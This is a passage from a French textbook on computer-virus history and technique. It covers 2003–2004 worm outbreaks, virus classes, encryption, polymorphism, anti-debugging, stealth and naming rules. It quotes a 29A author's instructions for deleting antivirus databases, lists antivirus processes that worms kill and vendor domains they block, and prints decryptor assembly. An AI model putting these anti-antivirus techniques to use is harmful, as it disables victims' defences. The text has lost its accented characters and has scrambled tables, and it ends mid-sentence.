19 aot 2003 : W32/Dumaru.A@MM. 18 septembre 2003 : W32/Swen@MM. Blaster et Sobig.F sont les principales vedettes de cette priode. Le premier exploite une nouvelle vulnrabilit du systme dexploitation Microsoft1. Dans la ligne de Codered et Slammer, sa propagation est automatique. Elle est qualie dexplosive. Le second transite via la messagerie lectronique. Tributaire de chaque destinataire qui doit double-cliquer sur la pice jointe pour ractiver le virus il se propage moins rapidement mais plus longuement. Il est toujours difcile destimer le nombre de machines touches. Avec Sobig.F, certaines sources en annoncent plus de 13 millions au bout de quelques semaines2. Il nen est rien ; et mme si la Socit Messagelabs indique que durant la premire semaine 22 millions de messages infects furent en circulation, il est plus raisonnable destimer que moins dun million de machines sont effectivement atteintes ces 7 premiers jours. Ce chiffre devient rapidement dnitif puisque Sobig.F est programm pour arrter sa course le 10 septembre 2003. De son cot, Blaster devient la bte noire des administrateurs rseaux. En moins dune journe il touche entre 1 et 2,5 millions de PC. La faille lie sa propagation tant parfaitement dcrite depuis la mi-juillet 2003, les concepteurs de produit antivirus attendaient un virus tel que celui-ci. Certains dentre eux avaient une semaine avant lattaque intgr des dtections gnriques. Avec un bon anti-virus jour, la protection tait donc efcace. Ceci nempcha pas la propagation massive du virus. Outre W32/Sobig.F@MM, un second virus apparat le 18 aot. W32/Nachi.worm, que certains dnommrent le tueur de Lovsan nest en fait quun virus de plus. liminant imparfaitement son concurrent et tentant dinstaller incorrectement le correctif MS03-026, il ne fait quaugmenter la perturbation du moment. Lavant dernier virus de la liste est W32/Dumaru.A@MM. Il apparat durant cette mme priode, mais cest plus tard quil monte en puissance. Tout comme Sobig et Blaster il touche plus fortement les PC familiaux que ceux des entreprises. La rigueur des procdures de mise jour de lanti-virus et des correctifs lis au systme dexploitation est souvent absente chez les particuliers. leur dcharge, mme quips de lADSL, ils ont souvent des difcults dans la ralisation de ces tches. Quant lutilisation dun pare-feu personnel, nen parlons pas !!
1. MS03-026 : Buffer Overrun In RPC Interface Could Allow Code Execution (823980). 2. Le chiffre de 20 millions dordinateurs infects en Chine a fait lobjet de plusieurs communiqus : http://www.news.com.au/common/story_page/ 0%2C4057%2C7058237%255E15306%2C00.html. http://h50055.www5.hp.com/smb/au/resources/virus.aspx.
83
Le dernier de la srie est W32/Swen@MM. Cest nouveau les particuliers qui en sont la principale victime. Se faisant, lui aussi, passer pour une mise jour de Microsoft, il a une interface graphique trs convaincante. Elle guide la victime travers linstallation factice dun soi-disant correctif. Microsoft explique quil ne distribue jamais de correctifs au travers du courrier lectronique1. De nombreuses personnes se laissent pourtant prendre.
84
Tableau 2.6 En six jours, Mydoom infecte plus dun million de machines Nombre cumul dinterceptions Date (GMT) E-mails Jour J J +1 J+2 J+3 J+4 J+5 J+6 J+7 26/1/2004 18h 27/1/2004 28/1/2004 29/1/2004 30/1/2004 31/1/2004 01/2/2004 02/2/2004 250.000 5.300.000 9.900.000 13.700.000 17.300.000 19.000.000 20.200.000 39.000 376.000 610.000 800.000 943.000 1.013.000 1.064.000 Adresses IP uniques
Le 2 fvrier 2004, lampleur de linfection se mesure galement au regard des autres virus ayant pralablement dfray la chronique. Apparu le 18 aot 2003, W32/Sobig.F@MM est toujours en tte avec plus de 33 millions de mails intercepts sur 12 mois. Mydoom.A se trouve en seconde place devant W32/Klez.H@MM. Apparu le 15 avril 2002, celui-ci est crdit de plus de 8 millions de mails. la n du mois de fvrier, le classement a volu. Mydoom est, de loin, en tte de peloton.
Tableau 2.7 En un mois, Mydoom est en tte des interceptions Virus W32/Mydoom.A@MM W32/Sobig.F@MM W32/Klez.H@MM Total cumul dinterceptions (25/2/2004) 54 millions 33 millions 8 millions
Tout comme la plupart des variantes de Sobig et Dumaru, Mydoom possde en son code une date de n dactivit. Il stoppe sa propagation le 12 fvrier 2004. Le 13 fvrier, il nest plus quun souvenir.
2.17 SUIVRE
Lt 2003 est un tournant dans le monde des virus. Se cachant toujours derrire de nombreuses gamineries, leur but devient beaucoup plus rflchi. La frontire entre
2.17 suivre
85
auteurs de virus, hackers et vritables acteurs de la criminalit informatique samenuise. Certains spcialistes du domaine nhsitent plus imaginer que lapparition programme des diverses variantes de Sobig fait parti dun plan minutieux qui dpasse le simple amusement ou lenvie de briller1. Diverses tudes dmontrent quune action rflchie anime les auteurs de la srie2. On saperoit ainsi que des spammeurs utilisent des machines infectes comme relais dmission3. En novembre 2004, un document sera distribu anonymement sur Internet. Alors que les investigations policires se poursuivent, sous couvert danonymat, son auteur nhsite pas proposer un coupable4. Depuis lextinction de Mydoom.A, dautres virus ont suscit le trouble. Les mmoires retiendront entre autre les batailles que se livrrent les auteurs de Netsky et Bagle durant le premier semestre 2004. Les nouveaux objectifs de ces programmes malveillants et la traque de leurs auteurs feront sans aucun doute parti de lhistoire de demain. Nous tenterons de les mettre en perspective dans le dernier chapitre de ce livre.
1. Il est possible de lire ce sujet un interview de Mikko Hyponnen (F-Secure) ladresse : http://www.tf1.fr/news/multimedia/0,,1354696,00.html. 2. Sobig.a and the Spam You Received Today : http://www.lurhq.com/sobig.html. Sobig.e Evolution of the Worm : http://www.lurhq.com/sobig-e.html. Sobig.f Examined : http://www.lurhq.com/sobig-f.html. 3. Spam and Viruses Hit All Time Highs in 2003. http://www.messagelabs.com/news/virusnews/detail/?contentItemId=613®ion=. 4. Who Wrote Sobig ? : http://spamkings.oreilly.com/WhoWroteSobig.pdf.
3
Notions fondamentales
la lecture du premier chapitre, nous avons saisi que pour acqurir cette appellation, un virus doit se reproduire. Au travers de la partie historique de ce livre, nous avons aussi constat que derrire cette caractristique unique se cachaient des sousensembles distincts. Nous allons donc maintenant diffrencier les virus selon leurs cibles et leurs fonctionnalits.
88
89
Il nous faut maintenant comprendre comment tout cela a commenc. Trois possibilits sont envisageables : lauteur du virus a cr de toute pice des disquettes infectes, puis les a distribues. Cest cette technique quutilisa lauteur de BRAIN en 1986, lauteur a diffus des programmes capables dinstaller le virus en esprant que certains dentres eux soient excuts un moment ou un autre. Ces programmes prennent le nom dimplanteurs ou dinjecteurs (en anglais : droppers). Lun dentre eux a t diffus en 1991. Son but tait dinstaller un virus que lon baptisa alors Horse Boot, le virus est multipartite. Il est capable dinfecter tout aussi bien des programmes que des zones systmes. Ces dernires peuvent alors tre infectes de manire conventionnelle ou via un excutable contamin selon la technique du dropper. OneHalf et Tequila sont deux exemples de virus multipartites.
Tableau 3.1 Quelques virus systme couramment rencontrs dans les annes 1990 DISQUE DUR VIRUS Jumper.B Parity Boot Antiexe Form DATE/ORIGINE Mai 1993 / France Sept. 1992 / Allemagne Sept. 1993 / France (?) Juin 1990 / Suisse MBR OUI OUI OUI BOOT OUI OUI DISQUETTE BOOT OUI OUI
90
Toutes ces nouveauts devinrent sans dlai de nouveaux terrains dactivit pour les auteurs de virus. Les uns et les autres pouvaient tre appels au travers de pages HTML. Exploitant diverses vulnrabilits, ils devinrent donc accessibles et excutables en local ou distance, au travers du rseau Internet.
Macro-Virus
De 1996 1999, les macro virus constiturent la principale menace. Les virus programmes taient inexistants et linfluence des virus systmes diminuait avec labandon progressif des disquettes. Dans un premier temps, celles-ci permirent nanmoins la propagation de ces nouveaux venus avant que le courrier lectronique ne devienne le principal outil dchange. La simplicit du codage, le perfectionnement des anti-virus et les quelques protections complmentaires que Microsoft introduisit dans ses suites Ofce ont par la suite stopp lengouement des premiers jours. Tout comme pour les virus systme et programme, la propagation ne se fait qu partir du moment ou le code viral est excut. Dans le cas des macro-virus cette excution ne peut se produire qu des moments prcis et sur des critres particuliers. Il sagit le plus souvent dun appel une macro automatique qui sactive silencieusement lors de louverture, de la sauvegarde ou de la fermeture du chier. Le virus peut aussi modier, son prot, lenvironnement de travail en dtournant quelques fonctions standards usuellement utilises au travers des menus droulants ou des fentres choix. Il se propagera ensuite vers des chiers sains ou nouvellement crs ds que lutilisateur activera la fonctionnalit dtourne.
Virus de script
Un langage de script est un langage de programmation spcialis destin contrler lenvironnement dun logiciel. Interprt, il peut donc tre excut sur toute machine disposant de linterprteur appropri. Deux des plus utilises sont JavaScript et VBScript. Pour sexcuter correctement, les chiers de script rent dabord appel Windows Scripting Host. Absent dune conguration standard Windows-95 ou Windows-NT4, ce logiciel fut ensuite install par dfaut sur toutes les plates-formes Windows modernes. Les virus de script furent eux aussi rapidement et facilement reprables. Il sagissait de chiers se sufsant eux-mmes quil fallait simplement effacer. Ils bncirent ensuite de techniques dencapsulement comme lavaient fait avant eux les macro-virus. L aussi, la bonne lisibilit du code viral associe lamlioration des dtections gnriques t fortement dcrotre la menace.
91
JScript JavaScript ne doit pas tre confondu avec Java. En effet, si Java est un langage compil, JavaScript, dvelopp par la socit NETSCAPE, est interprt. Le code est inclus soit dans une page HTML, soit dans un fichier lextension standard .js.
Du point de vue viral, il faut noter la distinction faite au niveau du prxe : Java pour Java, JS pour JavaScript. Le virus le plus rpandu dans cette catgorie fut sans conteste JS/Kak@M. Pionnier de sa catgorie, il tait directement intgr dans le corps dun courrier lectronique transmis au format HTML et ne ncessitait aucune pice jointe pour aider son transport. Un autre exemple fut JS/TheFly@MM : massmailer contenu dans un chier attach dnomm THE_FLY.CHM. Lextension correspondant au type Compiled HTML Help File.
<SCRIPT LANGUAGE="JavaScript"> <!-// Accueil JavaScript. var d = new Date() var h = d.getHours() if (h < 12) document.write("Bonjour!") else if (h < 17) document.write("Bon Aprs-Midi!") else document.write("Bonne Soire!") document.write("<br><br>Accueil en JavaScript. ") document.write("<br>Les paramtres horaires sont " + d + ".") //--> </SCRIPT>
Figure 3.1 Exemple de code JavaScript
Dunod La photocopie non autorise est un dlit
VBScript VBScript fut la rponse de Microsoft JavaScript. Langage autonome, cr partir du VBA (Visual Basic for Applications) et du Visual Basic, il repose sur du code source en clair. Tout un chacun peut donc voir et modifier le code des scripts quil rencontre.
Les premiers virus VBScript qui se propagrent srieusement apparurent en juillet 1999. Il sagit de vers de messagerie (VBS/Freelink@MM, VBS/Monopoly@MM et VBS/TripleSix@MM). Leur apoge se situe entre mai 2000, avec VBS/LoveLetter@MM, et mai 2001, avec VBS/VBSWG.X@MM, alias Homepage.
92
<SCRIPT LANGUAGE="VBScript"> Formule dAccueil en VBScript Call Welcome Sub Welcome Dim h h = Hour(Now) If h < 12 then Document.Write "Bonjour! " ElseIf h < 17 then Document.Write "Bon Aprs-Midi! " Else Document.Write "Bonne Soire! " End If Document.Write "Accueil en VBScript. " Document.Write "Les paramres horaires sont " Document.Write Time() & " et " & Date() & "." End Sub </SCRIPT>
Figure 3.2 Exemple de code VBScript
Virus Batch
Nous ne nous attarderons pas sur les virus de type Batch qui nont jamais t une vritable menace. Les uns se contentent de diverses instructions en langage de commande MS-DOS. Dautres intgrent du code binaire amen tre excut par une suite dastuces plus ou moins simplistes.
93
Ce sont actuellement les applications des diverses plates-formes Windows 32 bits qui sont attaques. De par leur structure, elles sont aussi appels Portable Executable (PE EXE). loppos de leurs anctres, les virus qui les ciblent sont en trs forte expansion. Tout comme leurs prdcesseurs, ils sont ou non rsidents en mmoire. Toutes les fonctionnalits complexes des prcurseurs ont t adaptes pour tenter de les rendre plus difcilement dtectables. lorigine, des CD-ROM de jeu furent la principale cause de leur diffusion. Aujourdhui, ce sont gnralement des vers. Leur diffusion se fait par la messagerie lectronique, les disques partags et les changes de chiers sur le modle poste poste. Des vulnrabilits au sein des protocoles de communication permettent aussi leur rplication au travers des rseaux publics ou privs. La toile Internet devient ainsi un support direct de transmission. Si elle existe, linfection locale des chiers nest quune fonctionnalit complmentaire dont le but principal est de rendre llimination plus ardue. La WildList1, liste commune nombre de chercheurs professionnels rpertorie les principaux virus en activit (In-The-Wild). Cest partir du dernier trimestre 1999, quelle commena les citer frquemment. On retrouve souligns, dans la table suivante, ceux qui prdominaient lpoque. La colonne date indique la premire alerte.
Tableau 3.2 Liste des virus Windows cits dans la WildList (Liste Principale de septembre 1999) VIRUS W32/BEAST.41472.1 W32/EXPLOREZIP W32/PRETTYPARK.A W32/SKA.A
Dunod La photocopie non autorise est un dlit
ALIAS 05/99 WORM.EXPLOREZIP PRETTY.WORM HAPPY99 POPPY, W95/ANXIETY.A W95/ANXIETY.B SPACEFILLER, CHERNOBYL CIH.C W95/EL INCA.MP W95/HAZLO 06/99 06/99 03/99 11/97 04/98 08/98 07/98 12/98 01/99 05/99 W95/MARBURG.A 07/98 01/99
DATE
1. http://www.wildlist.org/WildList/.
94
Rare en septembre 1999, les virus programme les plus courants sont aujourdhui des mass-mailers. La Wildlist les caractrisent par le sufxe -mm (au lieu de @MM). Elle nmet pas de table de prvalence mais indique, chaque mois, ceux qui sont le plus frquemment annoncs. En fvrier 2004, 46 virus taient cits par plus de 15 reporters. On y retrouvait : 35 mass-mailers virus programme, type W32. 6 virus conventionnels virus programme, type W95/W32. 4 vers Internet virus programme, type W32. 1 mass-mailer virus de script VBS.
Cinq mois plus tard, en juillet, ce chiffre passait 60 avec : 51 mass-mailers virus programme, type W32. 6 virus conventionnels virus programme, type W95/W32. 2 vers Internet virus programme, type W32. 1 mass-mailer virus de script VBS.
En dcembre 2004, les mass-mailers sont au nombre de 53, avec parmi eux : 15 variantes de W32/Netsky@MM. 14 variantes de W32/Bagle@MM. 6 variantes de W32/Mydoom@MM. Pour tre complet, il nous faut citer les applicatifs IBM-OS/2 (LE Linear Executable), UNIX like (ELF Executable Linkable Format) et Macintosh. Quelques virus existent galement dans ces environnements comme nous le verrons au paragraphe 3.5.
95
Dans ce livre, jai pris le parti pris de considrer les vers comme un sous-ensemble des virus. Ds quils se propagent au travers dun rseau avec ou sans intervention humaine, ils sont classis comme vers. Pour la uidit du texte, jutilise donc rgulirement le terme virus lorsque je traite dun ver. Pour argumenter en faveur de cette ide, attardons-nous sur la dnition suivante : Un virus, lorsquil est excut, construit des copies de lui-mme et les greffent aux programmes quil cible. Si le virus est rsident en mmoire, tout programme manipul rpondant aux critres dinfection est son tour infect. Lorsquil est nonrsident de par sa nature ou suite un transfert manuel vers une autre machine il faudra attendre son excution pour que se ritre le processus et que le cycle se poursuive. Une telle entit se contente dun environnement mono utilisateur et mono tche. Sur un unique ordinateur, il est capable dinfecter plus ou moins rapidement toutes les applications quil rencontrera. Son transfert vers une autre machine ncessite une intervention humaine tel que : lenvoi par messagerie en pice jointe, lchange via disquette ou CD-ROM, la copie au travers dun serveur de fichiers. Un environnement multi utilisateurs et multi-tches est ncessaire la propagation du ver. Il est pourtant possible de reprendre la structure de la dnition ci-dessus : Un ver, lorsquil est excut, construit des copies de lui-mme et les greffent aux ordinateurs quil cible. Si le ver est rsident en mmoire, tout ordinateur rencontr rpondant aux critres dinfection est son tour infect. Lorsquil est nonrsident de par sa nature ou suite un transfert manuel vers une autre machine il faudra attendre son excution pour que se ritre le processus et que le cycle se poursuive.
Dunod La photocopie non autorise est un dlit
Ces deux dnitions nen font plus quune si lon gnralise la cible. Nous crivons alors : Un [virus ver], lorsquil est excut, construit des copies de lui-mme et les greffent aux lments quil cible. Si le [virus ver] est rsident en mmoire, tout lment rencontr rpondant aux critres dinfection est son tour infect. Lorsquil est non-rsident de par sa nature ou suite un transfert manuel vers une autre machine il faudra attendre son excution pour que se ritre le processus et que le cycle se poursuive. Cest cette troisime dnition qui mamne regrouper vers et virus dans une mme famille. Mais, quittons maintenant cet argumentaire doctrinal pour nous attacher dcouvrir les diffrents types de vers.
96
Dans de nombreux cas lexcution est diffre. Dans les cas les plus simples, elle reste dpendante du bon vouloir dun utilisateur, qui, comme dans le cas prcdent, lancera lui-mme le programme pour satisfaire sa curiosit. Le ver peut aussi chercher se recopier dans un rpertoire de dmarrage. Il peut galement tenter de trouver un chier de paramtrage sur le disque distant pour le modier de sorte sexcuter le moment venu. Dans cette famille, VBS/Netlog dcouvert en fvrier 2002 est intressant analyser.
97
Lors de son excution, le virus recherche tout dabord la prsence dun chier c:\network.log. Si ce chier est trouv, il est immdiatement dtruit et recr pour contenir une adresse IP alatoire du type :
[Bloc1.Bloc2.Bloc3.Bloc4], avec Bloc1 = Nombre alatoire entre 199 et 214 Bloc2 = Nombre alatoire entre 1 et 254 Bloc3 = Nombre alatoire entre 1 et 254 Bloc4 = 0 Log file Open Subnet : 201.144.19.0
Figure 3.3 Exemple de fichier network.log
Le ver utilise alors ce masque de sous rseau pour interroger tour tour les 255 adresses. Pour chacune dentre elles, il tente de projeter le lecteur C: distant sur le lecteur local J:. En cas dchec, lorsque toutes les adresses du sous rseau ont t essayes, il cre une autre famille dadresses au hasard, et continue sa qute. Si la projection russie, le ver essaie de se copier dans le rpertoire racine du disque virtuel puis dans des rpertoires prdnis ciblant principalement le groupe de dmarrage.
98
Tableau 3.3 Quelques mass-mailers VIRUS TYPES VBScript PE (W95 / W32) W97M (VBA) X97M (VBA) O97M (VBA) WM (WordBasic) JavaScript JavaScript (sans attachement) WIN-311 COM / EXE PIF MAC LE PREMIER VBS/FreeLink@MMa W95/Parvo@MMb W97M/AntiMarc@MM X97M/Papa.B@MMc O97M/Cybernet.A@MM WM/Sharefun.A@MMd JS/TheFly.A@MM JS/Kak@Me W16/RedTeam@MMf HLLT/Toadie.6585@MM PIF/Fable@MM MAC/Simpsons@MM DATE 07/99 12/98 09/98 04/99 05/00 02/97 12/99 10/99 01/98 08/99 10/00 06/01
a. SVAJCER Vanja, 1999, Freelinks To Infection, Virus Bulletin. Novembre 1999 pp 6-7. b. SZOR Peter, 1999b, Parvo One Sick Puppy?, Virus Bulletin. Janvier 1999 pp 7-9. c. RAIU Costin, 1999, Papa Dont Preach, Virus Bulletin. Juin 1999 pp 8-9. d. VB, 1997b, Share and Share Alike, Virus Bulletin. Avril 1997 pp 10-11. e. SVAJCER Vanja, 2000, Kak-astrophic?, Virus Bulletin. Mars 2000 p 7. f. GORDON Sarah, PERRIOT Frdric, 1998, Caught Red-handed, Virus Bulletin. May 1998. pp 6-8.
Le premier expditeur de mails mondialement connu fut W32/Ska@M (alias HAPPY99). Il remonte date de 1999. Nous lavons longuement abord dans le chapitre historique. Cest nanmoins en 1997 et 1998 que les premires expriences furent tentes. Les cibles choisies montrent que ce nouvel engouement intressait de nombreux auteurs. La propagation se t dabord par le biais dune messagerie cible. Les macrovirus et les virus de script dtournaient gnralement la fonction dmission dOutlook ou dOutlook Express. Ces messageries courantes furent longtemps les plus touches. Les virus interprts ont ensuite laiss la place aux virus programme rendant la menace globale. Ils ont, dans un premier temps, dtourns les fonctions des librairies Windows (WSOCK32.DLL, RASAPI32.DLL) ; ils sattaquaient directement au protocole SMTP. En 2004, ils utilisent leur propre moteur SMTP (exemple W32/Dumaru@MM) et saffranchissent du logiciel de messagerie de lordinateur infect. De mme, les desti-
99
nataires ne sont plus uniquement recherchs dans les carnets dadresses mais dans toute sorte de chiers. Un ordinateur connect lInternet sans outil de messagerie devient ainsi un metteur potentiel.
metallica stairway to heaven. acdc hard as a rock. Sex Archive. FIFA 2001 full downloader. Johann Sebastian Bach Brandenburg Concerto No 4. American Pie 2 -divx-full-downloader.
Pour viter lattention, ces noms nissaient par un nombre despaces important puis une extension .exe ou .scr. KaZaA na pas toujours t la seule cible. En 2000 et 2001 quelques tentatives isoles ont touches Gnutella (VBS/GWV.A, W32/Gnuman.worm). En 2002, des dizaines de vers ciblant KaZaA et/ou Morpheus sont apparus (exemple W32/Kazmor.worm en juin 2002). Aujourdhui, tous les logiciels de ce type semblent vulnrables, mme les plus sotriques. Outre le courrier lectronique et les IRC, un virus tel que W32/Fourseman.G@MM (juin 2003) est programm pour se propager avec : Bearshare. eDonkey. eMule.
100
De son ct, W32/Auric@MM (mai 2003) sattaque : Bearshare. Edonkey. Gnucleus. Grokster. Kazaa. Limewire. Morpheus. Shareaza.
1. MS01-033 : Unchecked Buffer in Index Server ISAPI Extension Could Enable Web Server Compromise. 2. MS02-039 : Buffer Overruns in SQL Server 2000 Resolution Service Could Enable Code Execution.
101
Cette diffrence sexplique par deux modes de fonctionnement distincts : W32/CodeRed.A.worm transmet des paquets TCP-SYN : lpoque, sa propagation fut limite par le temps de latence ncessaire avant que narrivent les rponses de la cible. W32/SQLSlammer.worm se limite un seul paquet UDP. Il nattend aucune trame en retour. Cest la bande passante disponible qui limita sa vitesse de propagation.
3.3.1 Anti-debugging
Il sagit dune technique de protection contre les logiciels et les routines permettant de dboguer1 un programme. Elle cherche interdire lexcution du code en mode pas pas. Les instructions anti-debug cherchent stopper les routines dmulation des anti-virus. Plus gnralement elles tentent dinterfrer avec les dbogueurs qui fonctionnent en ring 3 (mode utilisateur).
0040106D 00401072 00401074 00401076 00401077 00401079 0040107B 0040107C suite: 0040107C call or jns cli not not sti call GetVersion eax, eax short suite esp esp install_worm
; Installation du vers
102
Apparu en 1987, cette technique permet un unique virus de produire des copies varies, mais oprationnelles, de lui-mme. En mmoire, le code viral reste gnralement prsent en clair ; il fait lobjet dun auto-cryptage avec une cl variable ds quil sagit dinfecter un chier et den sauvegarder son code sur le disque. La routine de dcryptage tant constante lexception des valeurs passes en paramtre la technique ne resta pas longtemps un obstacle la dtection. Une tude du code permet disoler des lments du moteur de dcryptage pour les utiliser comme chane de recherche initiale. Les chercheurs ont maintenant dvelopp des techniques dmulation permettant un dcryptage virtuel en milieu clos. Elles permettent une diffrentiation des variantes et la rparation des chiers. Dans lexemple ci-dessous (virus W32/BlackBat anne 2003), seule la cl de dcryptage (ici BAh) est variable. Les neuf premires instructions sont constantes. Associes quelques autres paramtres structurels, elles sont sufsantes pour indiquer avec certitude la prsence du virus.
406000: 406005: 406006: 406009: 40600E: 406011: 406012: 406013: 406015: 406016: 40601C: 406021: 406026: 40602B: E800000000 5A 83C210 BE220A0000 8032BA 42 4E 75F9 53 DBBBBABABABA BABAEFE9FF E88988BA9E BABABA8ABA BABABA9A25 call pop add mov xor inc dec jne push 406005 edx edx,010 (dbut du dcryptage) esi,000000A22 (octets dcrypter) b,[edx],0BA (cl de dcryptage) edx esi 40600E ebx (dbut du code crypt)
Plus complexe que les prcdents, les dcrypteurs oligomorphiques peuvent prendre un nombre limit de formes. En 1996, le virus programme Ply sest bas sur cette technique. Considrant que les opcodes1 dIntel sont variables dans la taille, lauteur regroupa les instructions par squences de 3 octets. Celles qui nen contenaient quun ou deux taient encadres de code inutile (nop). Elles taient ensuite lies, ou non, par des sauts (jump ou call).
1. lment dterminant dune instruction en assembleur qui la dnit et la diffrencie sans ambigut. Il sagit souvent du premier ou des deux premiers octets (code hexadcimal) dune instruction.
103
La dtection est ici plus difcile, mais, mme si elles sont positionnes des endroits variables, certaines instructions se retrouvent systmatiquement dans une zone proche du point dentre. Leur prsence est sufsante pour une dtection able. La polymorphie est une forme volue de cryptage oligomorphique. Dans ce cas, le code na aucune partie constante. Le dcryptage est gnr par un moteur polymorphique lui-mme crypt par la routine quil gnre. Une fois dcrypte et sortie de son enveloppe, la rsultante est nanmoins constante. La dtection ncessite ici un long travail de recherche. Ltude du code et les incidences du virus sur des chiers infects connus (des appts) permet ltablissement dun premier faisceau de prsomptions. Si celles ci sont runies, le code maintenant suspect est considr par lanti-virus comme une routine bouclant sur ellemme jusqu la n du processus de dcryptage. Il est alors mul selon des rgles prdnies lors de ltude pralable jusqu ce qui est suppos tre son terme. Si le rsultat obtenu correspond au virus recherch lalarme est donne et lradication envisage. Plutt que de camouer le code viral en y ajoutant, comme une surcouche, un moteur de dcryptage ou une routine polymorphe, le mtamorphisme consiste faire varier le code du virus lui-mme et non plus seulement son enveloppe. Le premier virus ayant tent cette mthode fut W32/Apparition. Il transportait avec lui son propre code source et le recompilait en y insrant quelques codes superus ds quil rencontrait une machine contenant un compilateur appropri.
104
Pour le virus, la premire mthode, et la plus simple, est leffacement des chiers lis un produit anti-virus. En 1993, CPW.1527 (alias Chile Mediera) dtruisait les chiers rpondant au masque :
GUARD guard CPAV SCAN CHKVIRUS CLEAN TOOLKIT VSAFE CHKLIST.CPS
Plus prs de nous, lauteur de virus connu sous le pseudonyme de Benny (groupe 29A) proposait une liste de chiers importants quil lui semblait bon de cibler. Cette liste fut reprise de nombreuses fois. W32/Dengue crit par un autre membre de 29A (GriYo) intgra cette liste.
1. HYPPONEN, Mikko (1994), Retroviruses how viruses ght back, Document disponible ladresse : http://www.hypponen.com/staff/hermanni/more/papers/retro.htm.
105
Anti-Antivirus destroy your enemy! If u wanna be sure, that stupid user wont find your virus, then correct that "problem" on AV side erase or modify AV crc files and AV databases. Here r the most important files, which should be erased (mm, but dont forget that after u delete viral database, AV wont run) or in better case only modified (e.g. delete virus from database): *.AVC AVP viral database AVP.CRC AVP crc file *.VDB DrWeb viral database NOD32.000 NODICE viral database ANTI-VIR.DAT TBAV crc file CHKLIST.MS MSAV crc file + some other old AV crc files
Figure 3.7 Un texte de Benny/29A1
La mthode la plus efcace pour un rtro-virus est sans conteste la dsactivation du module rsident. Elle fut inaugure en 1993 par un allemand au pseudo de Neurobasher. Son virus, Tremor, tait en effet capable de dsactiver le module rsident de VSAFE (Central Point Anti-Virus) et de modier son emplacement en mmoire si FPROT est lanc. Cette mthode est toujours trs employe actuellement. Des variantes de W32/ Yaha@MM, W32/Klez@MM ou encore W32/Lirva@MM tentent de stopper nombre de processus lis aux anti-virus actuels. L aussi, la russite ne pourra aboutir que face un produit non jour et incapable de dtecter le virus son arrive.
Tentative darrt des services suivant :
_AVP32 NRESQ32 NAV NAVRUNR AMON N32SCANW AVGCTRL F-STOPW VET95 AVPTC DVP95 SCAN Mcafee
_AVPCC NSCHED32 NAVAPSVC NAVW32 AVP32 NAVWNT AVWIN95 F-PROT95 SWEEP95 AVE32 F-AGNT95 VIRUS Antivir
NOD32 NSCHEDNT NAVAPW32 _AVPM AVPCC ANTIVIR SCAN32 ACKWIN32 PCCWIN98 AVCONSOL CLAW95 LOCKDOWN2000
NPSSVC NSPLUGIN NAVLU32 ALERTSVC AVPM AVPUPD VSHWIN32 VETTRAY IOMON98 FP-WIN NVC95 Norton
106
Citons pour terminer deux autres mthodes rencontres : Destruction de codes de validation : Tequila et Satanbug sattaquaient ceux de VirusScan en 1991. Ils supprimaient les 10 octets complmentaires que le produit ajoutait aux excutables quil contrlait. Peach.887 ciblait Central Point Anti-Virus. Interdiction de rejoindre certains sites Internet afin dempcher les mises jour. En 2000, W95/MTX empchait galement lenvoi de mails vers certaines destinations lies la lutte anti-virale.
Interdiction de rejoindre les domaines contenant les chanes de caractres :
f-se afee
mapl yenn
wildlist.o* complex.is* metro.ch* pandasoftw* comkom.co.* cellco.com* inforamp.n* bmcd.com.a* sophos.com* f-secure.c*
3.3.4 Furtivit
Cest une technique de camouflage. Elle est apparue avec les premiers virus systme. Lauteur de Tequila avait remarqu quau dmarrage de la machine, le secteur de partition tait excut avant lintervention de tout logiciel anti-virus. Il imagina alors une routine permettant de renvoyer vers lanti-virus (et vers tout utilisateur la rclamant) une limage du secteur original. Le secteur infect devenait ainsi invisible. Tequila sattaquait aussi aux excutables. Il ajoutait 2468 octets chaque chier infect. Cette augmentation de taille tait dissimule tous les programmes utilisant les appels DOS (interruptions du DOS 11h/12h et 4Eh/4Fh). Le virus tait ainsi plus difcile voir : une commande dir renvoyait une valeur initiale du chier obtenue en soustrayant la valeur actuelle la taille du virus. Ces techniques taient cependant souvent imparfaites. En milieu infect, alors que la commande chkdsk renvoyait une information errone laissant supposer une
107
mmoire disponible non altre (655.360 octets), il sufsait de renommer ce chier, puis de lexcuter nouveau, pour voir linformation relle apparatre. Aujourdhui, ces procds anciens sont dpasss, les techniques actuelles de furtivit consistent rendre invisible le processus charg en mmoire ou encore la prsence du chier. Cest le cas pour le ver W32/Maddis.worm dans les environnements W2000 et XP.
3.3.6 Cocktail
En anglais, blended threat dsigne un fichier infect par plusieurs virus. Selon sa configuration, votre anti-virus sera, ou non, mme de vous indiquer cette double, voire triple infection.
De nombreuses informations codies sont en effet prsentes de part et dautre du nom simpli souvent repris par les mdias. Le dcryptage de la dnomination complte dun virus peut donc apporter de prcieuses informations quant ses caractristiques. Cest pourquoi nous allons ici en expliquer les dtails. Ce long paragraphe permettra galement dapprhender certaines familles virales peu connues qui nont pas fait jusquici lobjet dune prsentation.
108
Ce document na jamais fait lunanimit et de nombreux diteurs ne lont utilis que partiellement. Il propose un nom en quatre parties dlimites par des points. Un cinquime lment, totalement optionnel, est dsign sous le nom de singularit. Il dbute par deux points. Certaines parties peuvent tre absentes. Le format gnral est le suivant :
<Nom_de_Famille>.<Nom_de_Groupe>.<Rang_de_Variante_Majeure>. <Rang_de_Variante_Mineure>[:Singularit ]
Chaque identiant dtermine une caractristique. Il est construit laide des caractres [ A-Z a-z 0-9 _$%&!` # ]. Les caractres non alphanumriques sont autoriss, mais doivent tre vits. Pour plus de lisibilit, il est possible dutiliser un mixage de minuscules et de majuscules. Lutilisation du soulignage (_) est prfre lespace. Il est utilis, ds quil facilite la comprhension dun lidentiant. La taille de chacun dentre eux ne dpasse pas 20 caractres. Les noms courts sont encourags, mais sil nest quune abrviation factice dun long nom, ce dernier a la prfrence.
Nom de famille
Il reprsente la famille laquelle le virus appartient. Celle ci regroupe des virus ayant des similitudes structurales. La codification de lpoque stipule de ne jamais : Employer des noms de compagnie, des noms de marque ou des noms des personnes vivantes. Lutilisation du nom ou du pseudonyme de lauteur prsum du virus est, par contre, accepte. Mme sil est prfrable de les viter, les prnoms courants sont permis. Les noms lis, de prs ou de loin, au monde de lanti-virus doivent tre particulirement vits. Reprendre un nom de famille existant (le nom est unique). Imaginer un nouveau nom pour un virus appartenant une famille existante. Employer des noms obscnes ou blessants. Reprendre, sans en vrifier la justesse, le nom du fichier dans lequel la souche virale dnommer est implante. On doit galement dviter lemploi : De suites numriques (exemple V845). Pouvant diffrer dune variante lautre, la taille ne peut servir de base un nom de famille. De noms de jours lis des dates dactivation tels que vendredi 13 ou 22 septembre. Ces dates peuvent varier en fonction des variantes et rendre ensuite irrationnel le 